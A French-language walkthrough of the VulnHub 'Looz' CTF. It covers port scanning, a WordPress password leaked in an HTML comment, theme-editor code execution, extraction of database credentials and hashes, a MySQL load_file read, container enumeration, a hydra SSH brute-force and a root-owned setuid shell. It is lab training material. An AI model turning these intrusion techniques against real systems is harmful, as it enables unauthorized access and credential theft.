Accueil Solution du CTF Looz de VulnHub
Post
Annuler

Solution du CTF Looz de VulnHub

Looz est un CTF publié en aout 2021 sur VulnHub. Il est assez simple, mais la présence de nombreux comptes inutiles peuvent mener à une perte de temps énorme (TL;DR: concentrez-vous sur le compte gandalf).

Aussi la solution technique employée sur le CTF laisse supposer tout un cheminement d’exploitation qui n’existe pourtant pas. Une configuration plus classique aurait certainement rendu le CTF plus agréable.

La Looz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Nmap scan report for 192.168.56.194
Host is up (0.00039s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE  SERVICE      VERSION
22/tcp   open   ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|       CVE-2020-15778  6.8     https://vulners.com/cve/CVE-2020-15778
|       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3    6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3  *EXPLOIT*
|       10213DBE-F683-58BB-B6D3-353173626207    6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207  *EXPLOIT*
|       CVE-2020-12062  5.0     https://vulners.com/cve/CVE-2020-12062
|       CVE-2021-28041  4.6     https://vulners.com/cve/CVE-2021-28041
|       CVE-2021-41617  4.4     https://vulners.com/cve/CVE-2021-41617
|       CVE-2020-14145  4.3     https://vulners.com/cve/CVE-2020-14145
|       CVE-2016-20012  4.3     https://vulners.com/cve/CVE-2016-20012
|_      CVE-2021-36368  2.6     https://vulners.com/cve/CVE-2021-36368
80/tcp   open   http         nginx 1.18.0 (Ubuntu)
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  BID:49303
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://seclists.org/fulldisclosure/2011/Aug/175
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.securityfocus.com/bid/49303
|_      https://www.tenable.com/plugins/nessus/55976
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.194
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.194:80/
|     Form id: name-30a4
|_    Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: nginx/1.18.0 (Ubuntu)
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
3306/tcp open   mysql        MySQL 5.5.5-10.5.10-MariaDB-1:10.5.10+maria~focal
| vulners: 
|   MySQL 5.5.5-10.5.10-MariaDB-1:10.5.10+maria~focal: 
|_      NODEJS:602      0.0     https://vulners.com/nodejs/NODEJS:602
8081/tcp open   http         Apache httpd 2.4.38
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| vulners: 
|   cpe:/a:apache:http_server:2.4.38: 
|       CVE-2019-9517   7.8     https://vulners.com/cve/CVE-2019-9517
|       PACKETSTORM:171631      7.5     https://vulners.com/packetstorm/PACKETSTORM:171631      *EXPLOIT*
|       EDB-ID:51193    7.5     https://vulners.com/exploitdb/EDB-ID:51193      *EXPLOIT*
|       CVE-2022-31813  7.5     https://vulners.com/cve/CVE-2022-31813
--- snip ---
|_      CVE-2006-20001  0.0     https://vulners.com/cve/CVE-2006-20001

On a deux serveurs web, l’un sur le port 80 et l’autre sur le port 8081, les deux semblent retourner le même contenu.

On a cependant un Nginx sur l’un et un Apache sur l’autre ce qui laisse supposer un routage du type proxy_pass.

Le site sert un Wordpress configuré pour le nom d’hôte wp.looz.com.

Dans tous les cas je remarque ce commentaire en bas de page :

1
    <!--- john don't forget to remove this comment, for now wp password is  y0uC@n'tbr3akIT--->

Il permet en effet de se connecter sur la page d’administration du Wordpress. On peut alors via l’éditeur de thèmes modifier le fichier 404.php du theme twentytwenty et ainsi obtenir notre RCE.

We need to go deeper

Dès la récupération du shell je remarque un hostname étrange (a5610f5f2480) et la présence d’un fichier .dockerenv à la racine.

Le fichier de configuration du Wordpress va chercher les identifiants via l’environnement ce qui doit être une astuce d’une image Docker officielle :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// a helper function to lookup "env_FILE", "env", then fallback
if (!function_exists('getenv_docker')) {
        // https://github.com/docker-library/wordpress/issues/588 (WP-CLI will load this file 2x)
        function getenv_docker($env, $default) {
                if ($fileEnv = getenv($env . '_FILE')) {
                        return rtrim(file_get_contents($fileEnv), "\r\n");
                }
                else if (($val = getenv($env)) !== false) {
                        return $val;
                }
                else {
                        return $default;
                }
        }
}

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', getenv_docker('WORDPRESS_DB_NAME', 'wordpress') );

/** MySQL database username */
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', 'example username') );

/** MySQL database password */
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', 'example password') );

/**
 * Docker image fallback values above are sourced from the official WordPress installation wizard:
 * https://github.com/WordPress/WordPress/blob/f9cc35ebad82753e9c86de322ea5c76a9001c7e2/wp-admin/setup-config.php#L216-L230
 * (However, using "example username" and "example password" in your database is strongly discouraged.  Please use strong, random credentials!)
 */

/** MySQL hostname */
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', 'mysql') );

Quand on est dans le shell on ne voit pas les variables en question :

1
2
3
4
5
6
www-data@a5610f5f2480:/var/www/html$ env
PWD=/var/www/html
TERM=xterm-256color
SHLVL=1
_=/usr/bin/env
OLDPWD=/var/www/html/wp-content

Seul le process Apache doit pouvoir les voir. J’ai donc créé un script PHP pour afficher le phpinfo(). Là je pouvais voir les variables d’environnement qui m’intéressaient :

1
2
3
4
5
WORDPRESS_DB_NAME	wpdb
WORDPRESS_DB_USER	dbadmin
WORDPRESS_DB_PASSWORD	Ba2k3t
MYSQL_ENV_MYSQL_ROOT_PASSWORD	root-password
MYSQL_PORT_3306_TCP_ADDR	172.17.0.2

J’ai extrait les hashes de la DB grace à aux identifiants :

1
2
3
4
5
6
7
8
9
10
11
12
13
MariaDB [wpdb]> select * from wp_users;
+----+------------+------------------------------------+---------------+------------------+--------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email       | user_url           | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+--------------------+---------------------+---------------------+-------------+--------------+
|  1 | john       | $P$B7CI2MiUu8APqQ2PO5yOCBVR9BuCIy. | john          | john@looz.com    | http://wp.looz.com | 2021-06-07 08:08:50 |                     |           0 | john         |
|  2 | william    | $P$Bn2/UkbAmUUOXzTm0ZVwx976yuVk1y1 | william       | william@looz.com |                    | 2021-06-07 11:23:07 |                     |           0 | William      |
|  3 | james      | $P$Bi0Yc8ROkGWja3QnxP85VCGdsL6P4r/ | james         | james@looz.com   |                    | 2021-06-07 11:26:00 |                     |           0 | James        |
|  4 | Evelyn     | $P$BbDP0k/c8yEyb3GFYUz0dWP1WC9Eut. | evelyn        | evelyn@looz.com  |                    | 2021-06-07 11:28:11 |                     |           0 | Evelyn       |
|  5 | Mason      | $P$Bz3vDbHtvMZY89mmi7gQbpYoX7yTvo1 | mason         | mason@looz.com   |                    | 2021-06-07 11:28:51 |                     |           0 | Mason        |
|  6 | harper     | $P$B1fSDnkIVz0Ocn8TcPMxUWZF/7BZkv1 | harper        | harper@looz.com  |                    | 2021-06-07 11:29:31 |                     |           0 | Harper       |
|  8 | gandalf    | $P$BGOXSxRtzMKFKkRZ246loTIXH5AFQm/ | gandalf       | gandalf@looz.com |                    | 2021-06-07 11:46:28 |                     |           0 | Gandalf      |
+----+------------+------------------------------------+---------------+------------------+--------------------+---------------------+---------------------+-------------+--------------+
7 rows in set (0,001 sec)

Le mot de passe de gandalf se casse rapidement : loveme2

On peut aussi profiter du mot de passe pour le compte root de MySQL (root-password) pour charger des fichiers :

1
2
3
4
5
6
7
MariaDB [mysql]> select load_file("/etc/hostname");
+----------------------------+
| load_file("/etc/hostname") |
+----------------------------+
| a9400b1a26c0               |
+----------------------------+
1 row in set (0,002 sec)

On voit que le MySQL est dans un autre container. Je n’ai pas pu lire le contenu de /etc/shadow donc je suppose que le process ne tourne pas en root.

LinPEAS indiquait une éventuelle possibilité d’escalade (toujours dans le container web) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
═╣ Container ID ................... a5610f5f2480═╣ Container Full ID .............. a5610f5f24807722a624537cf129b03390e93e10afe0bc9aceb09eaebf973154
═╣ Seccomp enabled? ............... enabled
═╣ AppArmor profile? .............. docker-default (enforce)
═╣ User proc namespace? ........... enabled
═╣ Vulnerable to CVE-2019-5021 .... No

══╣ Breakout via mounts
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts
═╣ release_agent breakout 1........ Yes
═╣ release_agent breakout 2........ No
═╣ core_pattern breakout .......... No
═╣ binfmt_misc breakout ........... No
═╣ uevent_helper breakout ......... No
═╣ core_pattern breakout .......... No
═╣ is modprobe present ............ No
═╣ DoS via panic_on_oom ........... No
═╣ DoS via panic_sys_fs ........... No
═╣ DoS via sysreq_trigger_dos ..... No
═╣ /proc/config.gz readable ....... No
═╣ /proc/sched_debug readable ..... Yes
═╣ /proc/*/mountinfo readable ..... No
═╣ /sys/kernel/security present ... Yes
═╣ /sys/kernel/security writable .. No

Je me suis tourné à nouveau vers GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier. pour l’exploitation, mais le container ne fonctionne pas en mode privilégié et je ne suis pas root dedans.

C’est toutefois un outil très pratique, car il inclut différents outils qui manquent généralement dans un container, par exemple un scan de port :

1
2
3
4
5
6
7
www-data@a5610f5f2480:/var/www/html$ ./cdk_linux_amd64 probe 172.17.0.1 1-65535 50 2000
2023/05/09 12:56:05 scanning 172.17.0.1 with user-defined ports, max parallels:50, timeout:2s
open : 172.17.0.1:22
open : 172.17.0.1:80
open : 172.17.0.1:3306
2023/05/09 13:39:50 scanning use time:2624923ms
2023/05/09 13:39:50 ending; @args is ips: 172.17.0.1, max parallels:50, timeout:2s

We need to go the opposite of deeper

Vu qu’aucun des mots de passe qu’on a croisé jusque-là ne fonctionne pour l’un des 7 comptes utilisateurs trouvés, quelle est la prochaine étape ?

Lancer une attaque brute force avec rockyou sur les 7 comptes et attendre plus de 8000 heures ?

J’ai préféré chercher une solution sur le web et effectivement il fallait bruteforcer le compte de gandalf.

Après un temps bien trop long on finissait par trouver le mot de passe highschoolmusical.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ hydra -l gandalf -P wordlists/rockyou.txt ssh://192.168.56.194
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-09 12:22:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344381 login tries (l:1/p:14344381), ~896524 tries per task
[DATA] attacking ssh://192.168.56.194:22/
[STATUS] 123.00 tries/min, 123 tries in 00:01h, 14344262 to do in 1943:41h, 12 active
[STATUS] 85.33 tries/min, 256 tries in 00:03h, 14344129 to do in 2801:36h, 12 active
[STATUS] 79.43 tries/min, 556 tries in 00:07h, 14343829 to do in 3009:48h, 12 active
[STATUS] 79.73 tries/min, 1196 tries in 00:15h, 14343189 to do in 2998:10h, 12 active
[STATUS] 77.94 tries/min, 2416 tries in 00:31h, 14341969 to do in 3067:04h, 12 active
[STATUS] 77.83 tries/min, 3658 tries in 00:47h, 14340727 to do in 3070:58h, 12 active
[STATUS] 77.40 tries/min, 4876 tries in 01:03h, 14339509 to do in 3087:53h, 12 active
[STATUS] 77.14 tries/min, 6094 tries in 01:19h, 14338291 to do in 3097:56h, 12 active
[22][ssh] host: 192.168.56.194   login: gandalf   password: highschoolmusical
1 of 1 target successfully completed, 1 valid password found

On remarquait alors un autre utilisateur :

1
2
gandalf@looz:~$ id alatar
uid=1000(alatar) gid=1000(alatar) groups=1000(alatar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Ce dernier a un binaire setuid dans son dossier personnel :

1
   286419     20 -rwsr-xr-x   1 root     root          16848 Jun  7  2021 /home/alatar/Private/shell_testv1.0

Il suffisait alors de la lancer.

1
2
3
4
5
6
7
8
gandalf@looz:/home/alatar/Private$ ./shell_testv1.0 
root@looz:/home/alatar/Private# id
uid=0(root) gid=0(root) groups=0(root),1001(gandalf)
root@looz:/home/alatar/Private# cd /root
root@looz:/root# ls
root.txt  rundocker.sh  snap
root@looz:/root# cat root.txt
ab17850978e36aaf6a2b8808f1ded971

Au final, je trouve stupide que l’auteur du CTF n’ai pas utilisé le mot de passe loveme2 du wordpress pour le compte Unix, ça aurait rendu le CTF bien plus logique.

Au mieux, il aurait dû ne pas ajouter plein de comptes inutiles qui donnent trop de cheminements possibles.

Quant à la piste des containers elle ne menait nulle part. Par exemple sur le container mysql le processus ne tournait effectivement pas en root :

1
2
3
4
5
6
7
8
9
10
root@looz:~# docker ps
CONTAINER ID   IMAGE       COMMAND                  CREATED         STATUS        PORTS                                       NAMES
a5610f5f2480   wordpress   "docker-entrypoint.s…"   23 months ago   Up 16 hours   0.0.0.0:8081->80/tcp, :::8081->80/tcp       wpcontainer
a9400b1a26c0   mariadb     "docker-entrypoint.s…"   23 months ago   Up 16 hours   0.0.0.0:3306->3306/tcp, :::3306->3306/tcp   wordpressdb
root@looz:~# docker exec -it a9400b1a26c0 /bin/bash
root@a9400b1a26c0:/# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
mysql          1  0.3  7.9 1087896 79848 pts/0   Ssl+ May08   3:49 mysqld
root        1402  1.5  0.3   4240  3240 pts/1    Ss   12:43   0:00 /bin/bash
root        1410  0.0  0.2   5896  2764 pts/1    R+   12:43   0:00 ps aux

Les deux images utilisées semblent complètement stock.

Cet article est sous licence CC BY 4.0 par l'auteur.